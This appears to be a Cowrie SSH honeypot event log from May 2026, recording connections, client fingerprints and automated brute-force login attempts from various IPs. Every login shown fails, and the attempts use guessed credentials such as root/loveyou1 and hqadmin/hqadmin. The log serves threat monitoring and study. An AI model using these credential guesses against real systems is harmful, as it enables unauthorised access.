{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:36:46.471023Z","src_ip":"62.133.63.178","session":"7d538db05020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01041983","message":"login attempt [root/01041983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:36:46.845337Z","src_ip":"62.133.63.178","session":"7d538db05020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:36:47.444861Z","src_ip":"87.251.79.125","session":"02a42e151d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:36:47.971509Z","src_ip":"62.133.63.178","session":"7d538db05020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":59328,"dst_ip":"10.17.0.5","dst_port":22,"session":"293b549c05a2","protocol":"ssh","message":"New connection: 103.189.234.9:59328 (10.17.0.5:22) [session: 293b549c05a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:11.924877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:11.931209Z","src_ip":"103.189.234.9","session":"293b549c05a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:12.172397Z","src_ip":"103.189.234.9","session":"293b549c05a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hqadmin","password":"hqadmin","message":"login attempt [hqadmin/hqadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:13.152754Z","src_ip":"103.189.234.9","session":"293b549c05a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:14.395490Z","src_ip":"103.189.234.9","session":"293b549c05a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":54880,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fba8ea031c8","protocol":"ssh","message":"New connection: 20.203.42.204:54880 (159.203.135.109:22) [session: 7fba8ea031c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:15.520108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:15.525299Z","src_ip":"20.203.42.204","session":"7fba8ea031c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:15.694675Z","src_ip":"20.203.42.204","session":"7fba8ea031c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vinay","password":"vinay@123","message":"login attempt [vinay/vinay@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:16.400271Z","src_ip":"20.203.42.204","session":"7fba8ea031c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:17.571788Z","src_ip":"20.203.42.204","session":"7fba8ea031c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":60550,"dst_ip":"10.17.0.5","dst_port":22,"session":"7289158dc17e","protocol":"ssh","message":"New connection: 77.94.47.83:60550 (10.17.0.5:22) [session: 7289158dc17e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:19.335196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:19.339916Z","src_ip":"77.94.47.83","session":"7289158dc17e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:19.451801Z","src_ip":"77.94.47.83","session":"7289158dc17e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dianochka","message":"login attempt [root/dianochka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:19.779594Z","src_ip":"77.94.47.83","session":"7289158dc17e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:20.891320Z","src_ip":"77.94.47.83","session":"7289158dc17e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":44604,"dst_ip":"10.17.0.5","dst_port":22,"session":"78ea9f64e30f","protocol":"ssh","message":"New connection: 109.237.96.109:44604 (10.17.0.5:22) [session: 78ea9f64e30f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:48.325492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:48.330616Z","src_ip":"109.237.96.109","session":"78ea9f64e30f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:48.423641Z","src_ip":"109.237.96.109","session":"78ea9f64e30f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveyou1","message":"login attempt [root/loveyou1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:48.746034Z","src_ip":"109.237.96.109","session":"78ea9f64e30f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:37:49.841955Z","src_ip":"109.237.96.109","session":"78ea9f64e30f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":44968,"dst_ip":"159.203.135.109","dst_port":22,"session":"0885e8aa87c4","protocol":"ssh","message":"New connection: 122.176.122.24:44968 (159.203.135.109:22) [session: 0885e8aa87c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:00.360076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:00.365698Z","src_ip":"122.176.122.24","session":"0885e8aa87c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:00.666661Z","src_ip":"122.176.122.24","session":"0885e8aa87c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pluto","message":"login attempt [root/pluto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:01.877948Z","src_ip":"122.176.122.24","session":"0885e8aa87c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:03.180101Z","src_ip":"122.176.122.24","session":"0885e8aa87c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":49486,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a638bd6e753","protocol":"ssh","message":"New connection: 103.82.20.28:49486 (10.17.0.5:22) [session: 4a638bd6e753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:24.128435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:24.133200Z","src_ip":"103.82.20.28","session":"4a638bd6e753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:24.406791Z","src_ip":"103.82.20.28","session":"4a638bd6e753","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aliens","message":"login attempt [root/aliens] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:25.227778Z","src_ip":"103.82.20.28","session":"4a638bd6e753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:26.505130Z","src_ip":"103.82.20.28","session":"4a638bd6e753","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.234.9","src_port":51882,"dst_ip":"10.17.0.5","dst_port":22,"session":"f833862d0f01","protocol":"ssh","message":"New connection: 103.189.234.9:51882 (10.17.0.5:22) [session: f833862d0f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:47.137072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:47.142086Z","src_ip":"103.189.234.9","session":"f833862d0f01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":46946,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1590ee53881","protocol":"ssh","message":"New connection: 121.168.139.251:46946 (159.203.135.109:22) [session: a1590ee53881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:47.167950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:47.172501Z","src_ip":"121.168.139.251","session":"a1590ee53881","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:47.372184Z","src_ip":"103.189.234.9","session":"f833862d0f01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:47.378798Z","src_ip":"121.168.139.251","session":"a1590ee53881","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789!","message":"login attempt [root/123456789!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:38:48.211415Z","src_ip":"121.168.139.251","session":"a1590ee53881","protocol":"ssh"}
